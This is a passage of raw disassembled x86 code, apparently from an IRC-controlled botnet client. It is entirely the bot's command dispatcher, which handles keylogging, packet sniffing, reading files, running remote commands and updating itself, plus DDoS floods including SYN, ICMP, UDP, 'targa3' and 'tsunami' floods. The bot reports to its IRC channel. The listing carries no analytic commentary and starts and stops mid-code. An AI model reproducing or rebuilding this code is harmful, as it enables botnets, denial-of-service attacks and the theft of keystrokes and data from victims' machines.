call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_40576D: ; CODE XREF: sub_401B66+3AF5j
; sub_401B66+3B02j
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_4057B3
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_4057B3
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_4057B3: ; CODE XREF: sub_401B66+3C18j
; sub_401B66+3C23j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_406282
mov edi, offset dword_4D6DC4
loc_4057CF: ; CODE XREF: sub_401B66+3C88j
cmp dword ptr [edi-4], 1
jnz short loc_4057E2
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057E2
push eax
call dword_4CDCFC ; closesocket
loc_4057E2: ; CODE XREF: sub_401B66+3C6Dj
; sub_401B66+3C73j
add edi, 210h
cmp edi, offset dword_4DD4E4
jl short loc_4057CF
cmp [ebp+var_8], ebx
jnz loc_406282
push ebx
push [ebp+var_4]
push offset unk_42CA04
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
jmp loc_406282
; ---------------------------------------------------------------------------
loc_405818: ; CODE XREF: sub_401B66+3161j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40967F
push edi
push offset aN ; "n"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40967F
push edi
push offset aJoin ; "join"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40965B
push edi
push offset aJ ; "j"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40965B
push edi
push offset aPart_0 ; "part"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40963E
push edi
push offset aPt ; "pt"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40963E
push edi
push offset aRaw ; "raw"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409605
push edi
push offset aR ; "r"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409605
push edi
push offset aKillthread ; "killthread"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409553
push edi
push offset aK ; "k"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409553
push edi
push offset aC_quit ; "c_quit"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4094A5
push edi
push offset aC_q ; "c_q"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4094A5
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409456
push edi
push offset aC_rn ; "c_rn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409456
push edi
push offset aPrefix ; "prefix"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40943D
push edi
push offset aPr ; "pr"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40943D
push edi
push offset aOpen ; "open"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40940F
push edi
push offset aO ; "o"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40940F
push edi
push offset aServer ; "server"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4093E6
push edi
push offset aSe ; "se"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4093E6
push edi
push offset aDns ; "dns"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40937E
push edi
push offset aDn ; "dn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40937E
push edi
push offset aKillproc ; "killproc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40934E
push edi
push offset aKp ; "kp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40934E
push edi
push offset aKill ; "kill"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4092EF
push edi
push offset aKi ; "ki"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4092EF
push edi
push offset aDelete ; "delete"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4092B4
push edi
push offset aDel ; "del"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4092B4
push edi
push offset aGet ; "get"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4091D2
push edi
push offset aGt ; "gt"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4091D2
push edi
push offset aList ; "list"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4091B3
push edi
push offset aLi ; "li"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4091B3
push edi
push offset aVisit ; "visit"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4090D2
push edi
push offset aV ; "v"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4090D2
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40905C
push edi
push offset aMirc ; "mirc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40905C
push edi
push offset aCmd ; "cmd"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409006
push edi
push offset aCm ; "cm"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409006
push edi
push offset aReadfile ; "readfile"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408F7B
push edi
push offset aRf ; "rf"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408F7B
push edi
push offset aPsniff ; "psniff"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405CB1
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405C77
push 20h
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_405BA5
push offset dword_42C908
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_405BA5: ; CODE XREF: sub_401B66+4033j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FE8], eax
mov eax, [ebp+var_4]
mov [ebp+var_F60], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F5C], eax
jnz short loc_405BE7
mov esi, offset aGxxx_2 ; "#Gxxx"
push offset byte_43FE14
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_405BE7
mov esi, [ebp+var_88]
loc_405BE7: ; CODE XREF: sub_401B66+4063j
; sub_401B66+4079j
push esi
lea eax, [ebp+var_FE4]
push 80h
push eax
call sub_41C150
lea eax, [ebp+var_2C0]
push offset dword_42C8D8
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 20h
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_F64], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FE8]
push ebx
push eax
push offset sub_41261F
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_F64]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_405C6A
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42C89C
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_405C62: ; CODE XREF: sub_401B66+410Aj
push 32h
call dword_428064 ; Sleep
loc_405C6A: ; CODE XREF: sub_401B66+40E9j
cmp [ebp+var_F58], ebx
jz short loc_405C62
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_405C77: ; CODE XREF: sub_401B66+4023j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_406EC5
push ebx
push 20h
call sub_40B182
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405CA7
push eax
push offset dword_42C860
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_405CA7: ; CODE XREF: sub_401B66+4134j
push offset dword_42C834
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_405CB1: ; CODE XREF: sub_401B66+400Cj
push edi
push offset aSniffer ; "sniffer"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405DFF
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405DC5
push 21h
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_405CF3
push offset unk_42C80C
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_405CF3: ; CODE XREF: sub_401B66+4181j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC0], eax
mov eax, [ebp+var_4]
mov [ebp+var_E38], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E34], eax
jnz short loc_405D35
mov esi, offset aGxxx_2 ; "#Gxxx"
push offset byte_43FE14
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_405D35
mov esi, [ebp+var_88]
loc_405D35: ; CODE XREF: sub_401B66+41B1j
; sub_401B66+41C7j
push esi
lea eax, [ebp+var_EBC]
push 80h
push eax
call sub_41C150
lea eax, [ebp+var_2C0]
push offset unk_42C7DC
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 21h
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_E3C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC0]
push ebx
push eax
push offset sub_412CA4
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_E3C]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_405DB8
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42C7A0
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_405DB0: ; CODE XREF: sub_401B66+4258j
push 32h
call dword_428064 ; Sleep
loc_405DB8: ; CODE XREF: sub_401B66+4237j
cmp [ebp+var_E30], ebx
jz short loc_405DB0
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_405DC5: ; CODE XREF: sub_401B66+4171j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_406EC5
push ebx
push 21h
call sub_40B182
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DF5
push eax
push offset unk_42C760
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_405DF5: ; CODE XREF: sub_401B66+4282j
push offset unk_42C72C
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_405DFF: ; CODE XREF: sub_401B66+415Aj
push edi
push offset aKeylog ; "keylog"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405F87
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C840
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405E75
push [ebp+arg_10]
push edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_405E75
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_406EC5
push ebx
push 23h
call sub_40B182
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E6B
push eax
push offset dword_42C6E0
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_405E6B: ; CODE XREF: sub_401B66+42F8j
push offset dword_42C6B4
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_405E75: ; CODE XREF: sub_401B66+42C4j
; sub_401B66+42D3j
push 23h
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_405E8B
push offset dword_42C694
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_405E8B: ; CODE XREF: sub_401B66+4319j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C58], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD0], eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_405EB8
mov [ebp+var_BCC], 1
jmp short loc_405EC1
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401B66+4344j
mov eax, [ebp+var_8]
mov [ebp+var_BCC], eax
loc_405EC1: ; CODE XREF: sub_401B66+4350j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405EE8
mov esi, offset aGxxx_1 ; "#Gxxx"
push offset byte_43FE14
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_405EE8
mov esi, [ebp+var_88]
loc_405EE8: ; CODE XREF: sub_401B66+4364j
; sub_401B66+437Aj
push esi
lea eax, [ebp+var_C50]
push 80h
push eax
call sub_41C150
lea eax, [ebp+var_2C0]
push offset dword_42C670
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 23h
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_C54], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C58]
push ebx
push eax
push offset sub_41234A
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_C54]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_405F7A
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42C634
loc_405F5E: ; CODE XREF: sub_401B66+205Aj
; sub_401B66+2E8Bj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
loc_405F6A: ; CODE XREF: sub_401B66+2E80j
; sub_401B66+54AAj
add esp, 0Ch
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_405F72: ; CODE XREF: sub_401B66+441Aj
push 32h
call dword_428064 ; Sleep
loc_405F7A: ; CODE XREF: sub_401B66+43EAj
cmp [ebp+var_BC8], ebx
jz short loc_405F72
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_405F87: ; CODE XREF: sub_401B66+42A8j
push edi
push offset aNet ; "net"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40622E
cmp dword_4CDD30, ebx
jz short loc_405FB6
cmp dword_4CDD58, ebx
jz short loc_405FB6
push offset unk_42C5F8
jmp loc_40621B
; ---------------------------------------------------------------------------
loc_405FB6: ; CODE XREF: sub_401B66+443Cj
; sub_401B66+4444j
cmp [ebp+var_C], ebx
jz loc_406C9B
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_405FDB
push edi
push [ebp+var_C]
call sub_41C0D0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405FDB: ; CODE XREF: sub_401B66+4465j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_406048
cmp edi, ebx
jz short loc_406016
push [ebp+arg_0]
push 3
loc_405FF7: ; CODE XREF: sub_401B66+44FAj
; sub_401B66+4514j ...
call sub_418E93
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41C056
add esp, 14h
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_406016: ; CODE XREF: sub_401B66+448Aj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41913A
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_40603E
push offset unk_42C5CC
jmp loc_406221
; ---------------------------------------------------------------------------
loc_40603E: ; CODE XREF: sub_401B66+44CCj
push offset unk_42C5AC
jmp loc_406221
; ---------------------------------------------------------------------------
loc_406048: ; CODE XREF: sub_401B66+4486j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_406062
push [ebp+arg_0]
push 4
jmp short loc_405FF7
; ---------------------------------------------------------------------------
loc_406062: ; CODE XREF: sub_401B66+44F3j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40607F
push [ebp+arg_0]
push 5
jmp loc_405FF7
; ---------------------------------------------------------------------------
loc_40607F: ; CODE XREF: sub_401B66+450Dj
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40609C
push [ebp+arg_0]
push 6
jmp loc_405FF7
; ---------------------------------------------------------------------------
loc_40609C: ; CODE XREF: sub_401B66+452Aj
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_4060B9
push [ebp+arg_0]
push 1
jmp loc_405FF7
; ---------------------------------------------------------------------------
loc_4060B9: ; CODE XREF: sub_401B66+4547j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_406139
cmp edi, ebx
jz short loc_406106
cmp [ebp+var_8F8], bl
jz short loc_4060DE
push ebx
push edi
push 1
jmp short loc_4060E7
; ---------------------------------------------------------------------------
loc_4060DE: ; CODE XREF: sub_401B66+4570j
push [ebp+esi+var_84]
push edi
push ebx
loc_4060E7: ; CODE XREF: sub_401B66+4576j
call sub_41927A
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41C056
add esp, 18h
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_406106: ; CODE XREF: sub_401B66+4568j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41946F
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_40612F
push offset unk_42C564
jmp loc_406221
; ---------------------------------------------------------------------------
loc_40612F: ; CODE XREF: sub_401B66+45BDj
push offset unk_42C544
jmp loc_406221
; ---------------------------------------------------------------------------
loc_406139: ; CODE XREF: sub_401B66+4564j
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_4061CA
cmp edi, ebx
jz short loc_40619D
push [ebp+var_4]
cmp [ebp+var_8F8], bl
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_40616A
push ebx
push edi
push 1
jmp short loc_40617E
; ---------------------------------------------------------------------------
loc_40616A: ; CODE XREF: sub_401B66+45FCj
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_40617A
push esi
push edi
push ebx
jmp short loc_40617E
; ---------------------------------------------------------------------------
loc_40617A: ; CODE XREF: sub_401B66+460Dj
push ebx
push edi
push 2
loc_40617E: ; CODE XREF: sub_401B66+4602j
; sub_401B66+4612j
call sub_419590
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41C056
add esp, 24h
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_40619D: ; CODE XREF: sub_401B66+45E8j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_419AA4
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_4061C3
push offset unk_42C524
jmp short loc_406221
; ---------------------------------------------------------------------------
loc_4061C3: ; CODE XREF: sub_401B66+4654j
push offset unk_42C504
jmp short loc_406221
; ---------------------------------------------------------------------------
loc_4061CA: ; CODE XREF: sub_401B66+45E4j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_406216
cmp edi, ebx
jz short loc_40620F
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419D4E
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41C056
add esp, 1Ch
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_40620F: ; CODE XREF: sub_401B66+4679j
push offset unk_42C4D8
jmp short loc_40621B
; ---------------------------------------------------------------------------
loc_406216: ; CODE XREF: sub_401B66+4675j
push offset unk_42C4BC
loc_40621B: ; CODE XREF: sub_401B66+2E2Bj
; sub_401B66+444Bj ...
lea eax, [ebp+var_2C0]
loc_406221: ; CODE XREF: sub_401B66+44D3j
; sub_401B66+44DDj ...
push eax
call sub_41C056
pop ecx
pop ecx
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_40622E: ; CODE XREF: sub_401B66+4430j
push edi
push offset aCapture ; "capture"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408D37
push edi
push offset aCap ; "cap"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408D37
push edi
push offset aGethost ; "gethost"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408C53
push edi
push offset aGh ; "gh"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408C53
loc_406282: ; CODE XREF: sub_401B66+3C5Ej
; sub_401B66+3C8Dj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401F9E
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408C36
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408C36
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408BF5
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408BF5
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408B9B
push [ebp+arg_8]
push offset dword_42CBB8
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408B9B
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408B29
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408B29
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408AC5
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408AC5
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408A87
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408A87
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408A1B
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408A1B
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408998
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408998
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40892B
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40892B
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408905
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408905
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4088A1
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4088A1
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4087A9
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4087A9
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4086D8
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4086D8
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408613
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408613
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408576
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408576
push [ebp+arg_8]
push offset aUpdate909 ; "update909"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4083FA
push [ebp+arg_8]
push offset aUp909 ; "up909"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4083FA
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408361
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408361
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408255
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408255
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408204
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408204
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40810A
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40810A
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F9E
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408023
push [ebp+arg_8]
push offset aC_0 ; "c"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_408023
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407F12
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407F12
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407F12
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_406794
push 7Fh
lea eax, [ebp+var_348C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_340C]
push edi
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_338C]
push [ebp+arg_0]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_330C]
push [ebp+var_88]
push eax
call sub_41BDC0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3284], eax
push ebx
lea eax, [ebp+var_2C0]
push 13h
push eax
mov [ebp+var_3288], edi
mov [ebp+var_3490], esi
call sub_40AF8D
add esp, 3Ch
mov [ebp+var_328C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3490]
push ebx
push eax
push offset sub_414CD8
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_328C]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_406787
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42C32C
jmp loc_403E6C
; ---------------------------------------------------------------------------
loc_40677F: ; CODE XREF: sub_401B66+4C27j
push 32h
call dword_428064 ; Sleep
loc_406787: ; CODE XREF: sub_401B66+4C06j
cmp [ebp+var_3280], ebx
jz short loc_40677F
jmp loc_403E7B
; ---------------------------------------------------------------------------
loc_406794: ; CODE XREF: sub_401B66+4B5Cj
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407E2B
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407E2B
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_4068C0
push 7Fh
lea eax, [ebp+var_3064]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_2FE4]
push edi
push eax
call sub_41BDC0
push esi
lea eax, [ebp+var_2F64]
push [ebp+arg_0]
push eax
call sub_41BDC0
push esi
